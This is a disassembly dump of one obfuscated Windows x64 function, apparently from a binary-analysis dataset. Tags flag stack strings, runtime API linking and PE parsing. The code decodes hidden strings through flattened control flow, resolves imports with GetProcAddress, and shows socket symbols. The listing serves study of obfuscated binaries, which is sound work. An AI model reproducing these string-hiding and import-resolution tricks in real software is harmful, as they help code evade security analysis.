Function at 0x14005f730
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c8]
sub rsp, 0x4c8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x408]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp + 8], rdx
mov qword [rbp + 0x10], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0x420], rax
mov qword [rbp], rax
mov qword [rcx], 0
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp + 0x428], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
mov qword [rsp + 0x38], rax
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rsp + 0x40], rax
lea rcx, [0x140148de8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
mov qword [rsp + 0x48], rax
test rsi, rsi
je 0x140072db2
test r14, r14
je 0x140072db2
test rax, rax
je 0x140072db2
test r12, r12
je 0x140072db2
mov byte [rbp + 0x1e0], 0x90
mov byte [rbp + 0x1e1], 0xcd
mov byte [rbp + 0x1e2], 0xaf
mov byte [rbp + 0x1e3], 0xce
mov byte [rbp + 0x1e4], 0xbd
mov byte [rbp + 0x1e5], 0xaf
mov byte [rbp + 0x1e6], 0x87
mov byte [rbp + 0x1e7], 0xa9
mov byte [rbp + 0x1e8], 0xa4
mov byte [rbp + 0x1e9], 0xa6
mov byte [rbp + 0x1ea], 0xa5
mov byte [rbp + 0x1eb], 0xd7
mov byte [rbp + 0x1ec], 0x8d
mov byte [rbp + 0x1ed], 0xa4
mov byte [rbp + 0x1ee], 0xdb
mov byte [rbp + 0x1ef], 0xda
mov byte [rbp + 0x1f0], 0xa9
mov byte [rbp + 0x1f1], 0x8a
mov byte [rbp + 0x1f2], 0xa6
mov byte [rbp + 0x1f3], 0xa3
mov byte [rbp + 0x1f4], 0xdd
mov byte [rbp + 0x1f5], 0xe1
mov byte [rbp + 0x1f6], WSAGetLastError
xor eax, eax
mov qword [rbp + 0x1f7], rax
mov dword [rbp + 0x1ff], eax
mov byte [rbp + 0x203], al
movabs rsi, 0x960542371b9f57e3
movabs r12, 0x34e4c6e134d16ae7
movabs r13, 0x8ede18342cd7dbf9
movzx edi, byte [rbp + 0x410]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x24
jae 0x1400604c4
movzx r9d, byte [rbp + r10 + 0x1e0]
movzx r11d, r9b
nop word [rax + rax]
cmp rbx, r10
ja 0x1400604bb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14005f945
movabs rcx, 0x7c6c6afe889c420b
add rcx, r10
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x4d
jmp 0x14005f972
je 0x140060443
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140060410
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400603cf
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400603aa
movzx r11d, r9b
cmp r8, r10
ja 0x1400604b2
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14005f9a0
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x51
jmp 0x14005f9d0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140060356
cmp rbx, rcx
je 0x140060334
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140060318
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400602fc
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140060006
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14005ffe7
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14005ffb6
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14005ff8c
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14005ff64
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14005ff40
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14005ff1c
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14005fef4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14005fed0
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14005fe96
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14005f9e0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x40]
lea rcx, [r8 + 0x41]
cmp rbx, rcx
jb 0x140060495
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140060479
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14005fbcb
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14005fbb0
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14005fb95
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14005fe3d
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14005fdeb
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14005fd9f
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14005fd70
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14005f9e0
mov rbx, rcx
lea r8, [rcx + 0x5a]
lea rcx, [r8 + 0xa]
cmp rbx, rcx
ja 0x14005fd36
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14005fd12
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14005fcea
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14005fcc2
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14005fc9e
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14005fc76
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14005fc4c
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14005fc1b
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14005fbef
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14005f9e0
mov rbx, rcx
lea r8, [rcx + 0x400]
jmp 0x14005f9e0
lea rcx, [r10 + r13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x31
jmp 0x14005f9d0
lea rcx, [r10 + rsi]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x35
jmp 0x14005f976
movabs rcx, 0x9d2c6c3a0a66d3cd
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x65
jmp 0x14005f910
movabs rcx, 0xa7263709a68b5738
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x3c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx esi, r10b
jmp 0x140060373
movabs rcx, 0xae4d610c9552d322
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 9
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14005f8f3
movabs rcx, 0xb5748b0f841a4f0c
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x54
dec r10
inc r10
jmp 0x14005f8f3
movabs rcx, 0xbc9bb51272e1caf6
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x23
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400603ed
movabs rcx, 0xc3c2df1561a946e0
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x140060427
movabs rcx, 0xcaea09185070c2ca
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x3d
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x14006042a
movabs rcx, 0xd211331b3f383eb4
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0xa
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x14006028c
movabs rcx, 0xd9385d1e2dffba9e
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
jmp 0x1400602b7
movabs rcx, 0xe05f87211cc73688
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x24
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005f8f3
movabs rcx, 0x7241702871b9ec51
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x37
mov byte [rbp + r10 + 0x1e0], dil
inc r10
jmp 0x14005f8f3
movabs rcx, 0x79689a2b6081683b
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x63
cmp r8, 0x3e8
jb 0x14005fd8f
movzx esi, r10b
lea edx, [rsi + 0x62]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x5c]
jmp 0x140060373
movabs rcx, 0x808fc42e4f48e425
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 3
cmp rbx, 0x41
jae 0x140060253
lea rcx, [r8 + 9]
cmp rbx, rcx
jbe 0x14006017f
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14005fdbe
movabs rcx, 0x87b6ee313e10600f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x69
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x140060275
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400600db
lea edx, [r10 - 0x61]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x59
add dil, dl
jmp 0x14005fe0a
movabs rcx, 0x3d5ca9473ce8816a
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_listen
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005f8f3
movabs rcx, 0x4483d34a2baffd54
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4c
jmp 0x1400602b7
movabs rcx, 0x4baafd4d1a77793e
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x27
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x14006028c
movabs rcx, 0x52d22750093ef528
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x18
jmp 0x14006042a
movabs rcx, 0x59f95152f8067112
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7e
jmp 0x140060427
movabs rcx, 0x61207b55e6cdecfc
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, select
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400603ed
movabs rcx, 0x6847a558d59568e6
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4a
dec r10
inc r10
jmp 0x14005f8f3
movabs rcx, 0x6f6ecf5bc45ce4d0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x28
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14005f8f3
movzx esi, r10b
lea edx, [rsi - 0x46]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x16
jmp 0x140060370
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14006002e
lea edx, [r10 + 0xb]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4d
add dil, dl
jmp 0x14005fe5c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140060068
lea edx, [r10 - 0x32]
movzx eax, r9b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005f8f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006008d
lea edx, [r10 - 6]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140060289
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400600b2
lea ecx, [r10 + 0x26]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xa
jmp 0x140060427
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14005fe5c
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400603ea
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140060103
movzx esi, r10b
lea edx, [rsi - 0x4b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xd
jmp 0x140060370
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006012e
lea ecx, [r10 - 0x1f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x27
dec r10
inc r10
jmp 0x14005f8f3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140060153
lea ecx, [r10 + 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xb
jmp 0x14006042a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14005fe0a
lea edx, [r10 + 0x4f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x29
add dil, dl
jmp 0x1400602b7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400601b6
lea ecx, [r10 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x44
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005f8f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400601de
lea edx, [r10 - 0x4e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400602b7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140060203
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
jmp 0x140060289
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006022b
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140060427
cmp rbx, rcx
jne 0x14005fdbe
movzx esi, r10b
lea edx, [rsi + 0x4c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x14
jmp 0x140060370
lea edx, [r10 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
add dil, dl
add dil, r9b
jmp 0x1400603ed
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
lea edx, [r10 - 0x67]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x1e0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x5c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x7c
add r11b, cl
mov byte [rbp + r10 + 0x1e0], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005f8f3
lea ecx, [r10 + 0x6b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x13
jmp 0x14006042a
lea ecx, [r10 + 0x55]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x53
jmp 0x140060427
lea ecx, [r10 + 0x29]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1f
dec r10
inc r10
jmp 0x14005f8f3
movzx esi, r10b
lea edx, [rsi - 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x15
add dil, dl
add sil, 0x6d
movzx eax, r11b
and al, sil
add al, al
sub r11b, al
add sil, 5
add r11b, sil
mov byte [rbp + r10 + 0x1e0], r11b
movabs rsi, 0x960542371b9f57e3
inc r8
dec r10
inc r10
jmp 0x14005f8f3
lea ecx, [r10 - 0x45]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1d
inc r8
dec r10
inc r10
jmp 0x14005f8f3
lea edx, [r10 - 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x17
movzx r11d, r9b
add dil, dl
lea ecx, [r10 - 0x7d]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x6b
add r11b, cl
add r11b, dil
mov byte [rbp + r10 + 0x1e0], r11b
jmp 0x140060427
lea ecx, [r10 + 0x79]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14005f8f3
movabs rcx, 0x754540fb99d4c621
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x19
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14005f8f3
sub r10b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec dil
jmp 0x14005f8f0
sub r10b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x67
jmp 0x14005f8e0
lea rdx, [rbp + 0x17c6144]
jmp 0x1400604cb
lea rdx, [rbp + 0xd8a34f]
jmp 0x1400604cb
lea rdx, [rbp + 0x1e0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov byte [rbp + 0x20], 0x8f
mov byte [rbp + 0x21], 0xae
mov byte [rbp + 0x22], 0xb8
mov byte [rbp + 0x23], 0x8e
mov byte [rbp + 0x24], 0xb9
mov byte [rbp + 0x25], 0xbf
mov byte [rbp + 0x26], 0xbd
mov byte [rbp + 0x27], 0xbe
mov byte [rbp + 0x28], 0xa0
mov byte [rbp + 0x29], 0x9d
mov byte [rbp + 0x2a], 0xbd
mov byte [rbp + 0x2b], 0xa6
mov byte [rbp + 0x2c], 0x2a
xor eax, eax
mov dword [rbp + 0x2d], eax
mov word [rbp + 0x31], ax
movabs rsi, 0x4c50133a1a89
movabs r13, 0x216308696b9bf
movabs r12, 0xe4f039ae4f9b
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov rax, qword [rax]
xor r11d, r11d
cmp r11, 0x13
jae 0x14006104a
movzx r10d, byte [rbp + r11 + 0x20]
mov r8d, r10d
cmp rbx, r11
ja 0x140061041
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x140060592
lea rdx, [r11 + rsi]
mov rcx, rdx
and rcx, r8
imul rdi, rcx, 0xfffffffffffffffe
add rdi, rdx
add rdi, r8
add dil, 0x41
jmp 0x1400605bf
je 0x140060fd5
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x140060f4f
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x140060efa
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140060eb6
movzx r9d, r11b
cmp rax, r11
ja 0x140061038
lea rcx, [rax + 0x61]
cmp rbx, rcx
jae 0x1400605ed
lea edx, [r9 + 0x3d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x55
jmp 0x140060621
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x140060e9e
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x140060e7b
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140060e5e
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x140060e41
lea rcx, [rax + rbx]
cmp rcx, r11
jbe 0x140060b85
nop
lea rcx, [rax + 0x1000]
cmp rbx, rcx
je 0x140060b6a
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140060b41
lea rcx, [rax + 0xa]
cmp rbx, rcx
je 0x140060b1e
lea rcx, [rax + 0x80]
cmp rbx, rcx
je 0x140060afe
lea rcx, [rax + 0x41]
cmp rbx, rcx
je 0x140060ae1
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x140060ac1
lea rcx, [rax + 0x28]
cmp rbx, rcx
je 0x140060aa6
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x140060a86
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x140060a5a
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x140060630
lea rbx, [rax + 0x5a]
lea rax, [rbx + 0x64]
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x14006101b
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x140060ffe
lea rcx, [rax + 0x1000]
cmp rbx, rcx
jb 0x140060820
lea rcx, [rax + 2]
cmp rbx, rcx
jb 0x140060805
lea rcx, [rax + 0xa]
cmp rbx, rcx
jb 0x1400607ea
lea rcx, [rax + 0x80]
cmp rbx, rcx
jb 0x140060a0e
lea rcx, [rax + 0x41]
cmp rbx, rcx
jb 0x1400609c9
lea rcx, [rax + 5]
cmp rbx, rcx
jb 0x14006098d
lea rcx, [rax + 0x28]
cmp rbx, rcx
jb 0x140060968
lea rcx, [rax + 0x400]
cmp rbx, rcx
jb 0x140060630
lea rbx, [rax + 0x10]
lea rax, [rbx + 1]
lea rcx, [rax + 0x200]
cmp rbx, rcx
ja 0x14006093c
lea rcx, [rax + 0x5a]
cmp rbx, rcx
ja 0x14006091c
lea rcx, [rax + 6]
cmp rbx, rcx
ja 0x140060901
lea rcx, [rax + 0x40]
cmp rbx, rcx
ja 0x1400608e1
lea rcx, [rax + 0x1000]
cmp rbx, rcx
ja 0x1400608c4
lea rcx, [rax + 2]
cmp rbx, rcx
ja 0x1400608a4
lea rcx, [rax + 0xa]
cmp rbx, rcx
ja 0x140060881
lea rcx, [rax + 0x80]
cmp rbx, rcx
ja 0x140060858
lea rcx, [rax + 0x41]
cmp rbx, rcx
ja 0x14006083d
lea rcx, [rax + 5]
cmp rbx, rcx
ja 0x140060630
lea rbx, [rax + 0x61]
lea rax, [rbx + 0x28]
jmp 0x140060630
lea edx, [r9 + 0x63]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x4b
jmp 0x140060621
lea edx, [r9 + 0x51]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x37
jmp 0x1400605c3
add r9b, 0x3f
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
add dil, 0x47
jmp 0x140060566
lea edx, [r9 - 0x18]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x58
jmp 0x140060ed0
sub r9b, 0x2a
movzx ecx, r9b
and cl, r10b
mov edx, reloc.WS2_32.dll_send
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
inc rax
dec r11
inc r11
jmp 0x140060553
sub r9b, 0x3c
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x5c
dec r11
inc r11
jmp 0x140060553
lea r8d, [r9 - 0x4e]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r10b
jmp 0x140060f14
sub r9b, 0x60
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140060f33
sub r9b, 0x72
movzx ecx, r9b
and cl, r10b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x140060f36
lea edx, [r9 + 0x7c]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x64
jmp 0x140060f68
add r9b, 0x6a
movzx ecx, r9b
and cl, r10b
mov edx, reloc.WS2_32.dll_listen
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x140060f92
add r9b, 0x58
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x68
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140060553
sub r9b, 0x55
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
add dil, 0x53
mov byte [rbp + r11 + 0x20], dil
inc r11
jmp 0x140060553
lea edx, [r9 - 0x67]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x2f
cmp rax, 0x200
jb 0x140060980
lea edx, [r9 - 0x6a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
add dl, r10b
lea edi, [rdx*2 - 0x34]
jmp 0x140060ed0
lea edx, [r9 - 0x79]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x4f
cmp rbx, 6
jae 0x140060e0c
lea rcx, [rax + 0x7a]
cmp rbx, rcx
jbe 0x140060d00
lea edx, [r9 - 0x1e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x2e
jmp 0x1400609a3
lea edx, [r9 + 0x75]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x33
lea rcx, [rax + rbx]
cmp rcx, 0x1000
je 0x140060e2b
lea rcx, [rax + 0x20]
cmp rbx, rcx
jbe 0x140060c87
lea edx, [r9 - 0x5b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x7d
jmp 0x1400609df
add r9b, 0x6e
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 2
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140060553
add r9b, 0x5c
movzx ecx, r9b
and cl, r10b
mov edx, 0x3e
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x140060f92
lea edx, [r9 + 0x4a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 6
jmp 0x140060f68
add r9b, 0x38
movzx ecx, r9b
and cl, r10b
mov edx, 0x3c
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x140060f36
add r9b, 0x26
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0xa
jmp 0x140060f33
lea r8d, [r9 + 0x14]
movzx ecx, r8b
and cl, r10b
mov edx, 0x3a
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r10b
jmp 0x140060f14
add r9b, 2
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0xe
dec r11
inc r11
jmp 0x140060553
sub r9b, 0x10
movzx ecx, r9b
and cl, r10b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
inc rax
dec r11
inc r11
jmp 0x140060553
lea edx, [r9 - 0x22]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x12
jmp 0x140060ed0
lea rcx, [rax + 0x80]
cmp rbx, rcx
jae 0x140060bac
lea edx, [r9 - 0x77]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x41
jmp 0x140060a24
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140060be1
